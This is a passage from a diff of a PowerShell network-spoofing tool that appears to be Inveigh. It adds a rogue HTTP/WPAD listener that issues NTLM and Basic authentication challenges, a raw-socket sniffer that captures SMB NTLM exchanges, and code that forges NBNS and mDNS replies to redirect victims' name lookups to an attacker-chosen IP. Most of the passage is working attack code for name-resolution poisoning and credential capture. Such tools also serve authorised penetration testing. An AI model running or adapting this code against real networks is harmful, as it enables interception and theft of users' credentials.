[System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + } + elseif($HTTPResponse) + { + $HTTP_message = $HTTPResponse + + if($HTTPContentType) + { + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTPContentType) + } + + } + + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) } } else { + [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + } - if($inveigh.request.RawUrl -match '/wpad.dat') + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message_bytes.Length) + + if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + } + elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") + } + + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary + $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + + if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) + { + $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_content_type) + { + $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_cache_control) + { + $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_send) + { + $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) + $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + } + + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + $HTTP_reset_delay = $false + + if($proxy_listener) { - $inveigh.message = $inveigh.WPAD_response - } - elseif($inveigh.HTTP_response) - { - $inveigh.message = $inveigh.HTTP_response + $HTTP_client.Client.Close() } else { - $inveigh.message = $null + $HTTP_client.Close() } - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) } + } else { - [Byte[]] $HTTP_buffer = $null - } - if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat') -and !$NTLM_auth) - { - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) - } - elseif(($HTTPAuth -eq 'Basic' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $inveigh.request.RawUrl -match '/wpad.dat')) - { - $inveigh.response.AddHeader("WWW-Authenticate","Basic realm=$HTTPBasicRealm") - } - else - { - $inveigh.response.StatusCode = 200 - } + if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + { + $HTTP_client.Close() + $HTTP_client_close = $true + $HTTP_reset_delay = $false + } + else + { + Start-Sleep -m 100 + } - $inveigh.response.ContentLength64 = $HTTP_buffer.Length - $HTTP_stream = $inveigh.response.OutputStream - $HTTP_stream.Write($HTTP_buffer,0,$HTTP_buffer.Length) - $HTTP_stream.Close() + } + } - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $HTTP_client.Close() + start-sleep -s 1 + $HTTP_listener.Server.Blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() } # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer $sniffer_scriptblock = { - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$RunTime,$LLMNRTTL,$NBNSTTL) + param ($IP,$LLMNR,$LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,$NBNS,$NBNS_response_message,$NBNSTypes,$NBNSTTL,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply, + $SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval) + $sniffer_running = $true $byte_in = New-Object System.Byte[] 4 $byte_out = New-Object System.Byte[] 4 $byte_data = New-Object System.Byte[] 4096 @@ -1317,57 +2201,75 @@ $sniffer_scriptblock = $byte_in[1-3] = 0 $byte_out[0] = 1 $byte_out[1-3] = 0 - $inveigh.sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) - $inveigh.sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) - $inveigh.sniffer_socket.ReceiveBufferSize = 1024 - $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) - $inveigh.sniffer_socket.Bind($end_point) - $inveigh.sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) - $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) - [Array]::Reverse($LLMNR_TTL_bytes) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) + $sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) + $sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) + $sniffer_socket.ReceiveBufferSize = 4096 + + try + { + $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) + } + catch + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + $sniffer_running = $false + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Error starting sniffer/spoofer") + } - if($RunTime) - { - $sniffer_timeout = new-timespan -Minutes $RunTime - $sniffer_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } - while($inveigh.running) + $sniffer_socket.Bind($end_point) + $sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) + $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) + [Array]::Reverse($LLMNR_TTL_bytes) + $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) + [Array]::Reverse($mDNS_TTL_bytes) + $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) + [Array]::Reverse($NBNS_TTL_bytes) + $LLMNR_learning_log = New-Object System.Collections.Generic.List[string] + $NBNS_learning_log = New-Object System.Collections.Generic.List[string] + + if($SpooferLearningDelay) + { + $spoofer_learning_delay = New-TimeSpan -Minutes $SpooferLearningDelay + $spoofer_learning_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while($inveigh.running -and $sniffer_running) { - $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) + $packet_data = $sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data) $binary_reader = New-Object System.IO.BinaryReader($memory_stream) $version_HL = $binary_reader.ReadByte() - $type_of_service= $binary_reader.ReadByte() + $binary_reader.ReadByte() > $null $total_length = DataToUInt16 $binary_reader.ReadBytes(2) - $identification = $binary_reader.ReadBytes(2) - $flags_offset = $binary_reader.ReadBytes(2) - $TTL = $binary_reader.ReadByte() + $binary_reader.ReadBytes(5) > $null $protocol_number = $binary_reader.ReadByte() - $header_checksum = [System.Net.IPAddress]::NetworkToHostOrder($binary_reader.ReadInt16()) + $binary_reader.ReadBytes(2) > $null $source_IP_bytes = $binary_reader.ReadBytes(4) $source_IP = [System.Net.IPAddress]$source_IP_bytes $destination_IP_bytes = $binary_reader.ReadBytes(4) $destination_IP = [System.Net.IPAddress]$destination_IP_bytes - $IP_version = [Int]"0x$(('{0:X}' -f $version_HL)[0])" $header_length = [Int]"0x$(('{0:X}' -f $version_HL)[1])" * 4 switch($protocol_number) { - + 6 { # TCP $source_port = DataToUInt16 $binary_reader.ReadBytes(2) $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) - $sequence_number = DataToUInt32 $binary_reader.ReadBytes(4) - $ack_number = DataToUInt32 $binary_reader.ReadBytes(12) + $binary_reader.ReadBytes(8) > $null $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 - $TCP_flags = $binary_reader.ReadByte() - $TCP_window = DataToUInt16 $binary_reader.ReadBytes(2) - $TCP_checksum = [System.Net.IPAddress]::NetworkToHostOrder($binary_reader.ReadInt16()) - $TCP_urgent_pointer = DataToUInt16 $binary_reader.ReadBytes(2) + $binary_reader.ReadBytes(7) > $null $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length)) switch ($destination_port) @@ -1377,7 +2279,16 @@ $sniffer_scriptblock = { if($SMB -eq 'Y') { - SMBNTLMResponse $payload_bytes + + if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + { + SMBNTLMResponse $payload_bytes + } + + $client_IP = "" + $client_port = "" + $NTLM_challenge = "" + } } @@ -1386,7 +2297,16 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { - SMBNTLMResponse $payload_bytes + + if($NTLM_challenge -and $client_IP -eq $source_IP -and $client_port -eq $source_port) + { + SMBNTLMResponse $payload_bytes + } + + $client_IP = "" + $client_port = "" + $NTLM_challenge = "" + } } @@ -1402,6 +2322,8 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { + $client_IP = $destination_IP + $client_port = $destination_port $NTLM_challenge = SMBNTLMChallenge $payload_bytes } @@ -1412,6 +2334,8 @@ $sniffer_scriptblock = if($SMB -eq 'Y') { + $client_IP = $destination_IP + $client_port = $destination_port $NTLM_challenge = SMBNTLMChallenge $payload_bytes } @@ -1423,30 +2347,29 @@ $sniffer_scriptblock = 17 { # UDP - $source_port = $binary_reader.ReadBytes(2) + $source_port = $binary_reader.ReadBytes(2) $endpoint_source_port = DataToUInt16 ($source_port) $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) $UDP_length = $binary_reader.ReadBytes(2) $UDP_length_uint = DataToUInt16 ($UDP_length) - $binary_reader.ReadBytes(2) + $binary_reader.ReadBytes(2) > $null $payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4) # Incoming packets - switch ($destination_port) + switch($destination_port) { 137 # NBNS { - if($payload_bytes[5] -eq 1 -and $IP -ne $source_IP) + if(([System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -or [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01') -and [System.BitConverter]::ToString($payload_bytes[10..11]) -ne '00-01') { - $UDP_length[0] += 16 + $UDP_length[0] += 12 $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 + $NBNS_TTL_bytes + + 0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() $NBNS_response_packet = 0x00,0x89 + $source_port[1,0] + @@ -1456,9 +2379,6 @@ $sniffer_scriptblock = 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + $NBNS_response_data - $send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) switch ($NBNS_query_type) @@ -1486,17 +2406,17 @@ $sniffer_scriptblock = '42-4D' { - $NBNS_query_type = '1C' + $NBNS_query_type = '1C' } '42-4E' { - $NBNS_query_type = '1D' + $NBNS_query_type = '1D' } '42-4F' { - $NBNS_query_type = '1E' + $NBNS_query_type = '1E' } } @@ -1527,55 +2447,356 @@ $sniffer_scriptblock = } until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + $NBNS_request_ignore = $false + if($NBNS -eq 'Y') { - if($NBNSTypes -contains $NBNS_query_type) + if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $NBNS_query_string -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -and $source_IP -ne $IP) { - - if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) - { - $send_socket.sendTo($NBNS_response_packet,$destination_point) - $send_socket.Close() - $NBNS_response_message = "- spoofed response has been sent" - } - else + + if(($NBNS_learning_log.Exists({param($s) $s -like "20* $NBNS_query_string"}))) { + $NBNS_learning_queue_time = [DateTime]$NBNS_learning_log.Find({param($s) $s -like "20* $NBNS_query_string"}).SubString(0,19) - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + if((Get-Date) -ge $NBNS_learning_queue_time.AddMinutes($SpooferLearningInterval)) { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" + $NBNS_learning_log.RemoveAt($NBNS_learning_log.FindIndex({param($s) $s -like "20* $NBNS_query_string"})) + $NBNS_learning_send = $true } else { - $NBNS_response_message = "- not spoofed due to previous capture" + $NBNS_learning_send = $false } - + + } + else + { + $NBNS_learning_send = $true + } + + if($NBNS_learning_send) + { + $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-" + $NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137 + $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] + + $NBNS_request_packet = $NBNS_transaction_ID_bytes + + 0x01,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20 + + $NBNS_hostname_bytes + + 0x00,0x20,0x00,0x01 + + $NBNS_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]::broadcast,137) + $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint) + $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length) + $NBNS_UDP_client.Close() + $NBNS_learning_log.Add("$(Get-Date -format 's') $NBNS_transaction_ID $NBNS_query_string") + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - LLMNR request for $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) + } + } + } + + if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( + !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( + !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and ( + $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and ( + $NBNSTypes -contains $NBNS_query_type)) + { + + if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) + $NBNS_send_socket.SendBufferSize = 1024 + $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) + $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) + $NBNS_send_socket.Close() + $NBNS_response_message = "- response sent" + } + else + { + $NBNS_request_ignore = $true + } + } else { - $NBNS_response_message = "- spoof not sent due to disabled type" + + if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_request_ignore = $true + } + elseif($NBNSTypes -notcontains $NBNS_query_type) + { + $NBNS_response_message = "- disabled NBNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $NBNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $NBNS_response_message = "- $source_IP is on ignore list" + } + elseif($NBNS_query_string.Trim() -eq '*') + { + $NBNS_response_message = "- NBSTAT request" + } + elseif($inveigh.valid_host_list -contains $NBNS_query_string) + { + $NBNS_response_message = "- $NBNS_query_string is a valid host" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $NBNS_response_message = "- previous capture from $source_IP" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $NBNS_response_message = "- " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } + elseif($source_IP -eq $IP -and !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + $NBNS_response_message = "- local request" + } + else + { + $NBNS_response_message = "- something went wrong" + } + + } + + } + + if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') + { + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") + } + + } + elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) + { + [Byte[]]$NBNS_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] + $NBNS_response_IP = [System.Net.IPAddress]$NBNS_response_IP_bytes + $NBNS_response_IP = $NBNS_response_IP.IPAddressToString + + if($inveigh.valid_host_list -notcontains $NBNS_query_string) + { + $inveigh.valid_host_list.Add($NBNS_query_string) + $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP - $NBNS_query_string added to valid host list") + } + } } - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) } + + } + + 5353 # mDNS + { + + if([System.BitConverter]::ToString($payload_bytes) -like '*-00-01-80-01') + { + $UDP_length[0] += 10 + $mDNS_query_payload_bytes = $payload_bytes[(12)..($payload_bytes.Length - 5)] + $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes + $mDNS_query_string_full = $mDNS_query_string + ".local" + + $mDNS_response_data = $mDNS_query_payload_bytes + + 0x00,0x01,0x00,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + $mDNS_response_packet = 0x14,0xe9 + + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_response_data + + if($mDNS -eq 'Y') + { + + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and ( + !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QU')) + { + $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $send_socket.SendBufferSize = 1024 + $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) + $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.Close() + $mDNS_response_message = "- response sent" + } + else + { + + if($mDNSTypes -notcontains 'QU') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + else + { + $mDNS_response_message = "- not spoofed due to previous capture" + } + + } + + } + + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QU) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + } + elseif([System.BitConverter]::ToString($payload_bytes) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') + { + $UDP_length[0] += 4 + $mDNS_query_payload_bytes = $payload_bytes[12..($payload_bytes[12] + 12)] + $mDNS_query_string = DataToString 1 $mDNS_query_payload_bytes[0] $mDNS_query_payload_bytes + $mDNS_query_string_full = $mDNS_query_string + ".local" + + $mDNS_response_data = $mDNS_query_payload_bytes + + 0x05,0x6c,0x6f,0x63,0x61,0x6c,0x00 + + 0x00,0x01,0x80,0x01 + + $mDNS_TTL_bytes + + 0x00,0x04 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + + $mDNS_response_packet = 0x14,0xe9 + + $source_port[1,0] + + $UDP_length[1,0] + + 0x00,0x00 + + $payload_bytes[0,1] + + 0x84,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00 + + $mDNS_response_data + + if($mDNS -eq 'Y') + { + + if((!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $mDNS_query_string) -and ( + !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( + $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QM')) + { + $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $send_socket.SendBufferSize = 1024 + $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353) + $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.Close() + $mDNS_response_message = "- response sent" + } + else + { + + if($mDNSTypes -notcontains 'QM') + { + $mDNS_response_message = "- disabled mDNS type" + } + elseif($SpooferHostsReply -and $SpooferHostsReply -notcontains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is not on reply list" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $mDNS_query_string) + { + $mDNS_response_message = "- $mDNS_query_string is on ignore list" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $mDNS_response_message = "- $source_IP is not on reply list" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $mDNS_response_message = "- $source_IP is on ignore list" + } + else + { + $mDNS_response_message = "- not spoofed due to previous capture" + } + + } + + } + + $inveigh.console_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - mDNS(QM) request for $mDNS_query_string_full received from $source_IP $mDNS_response_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - mDNS(QM) request for 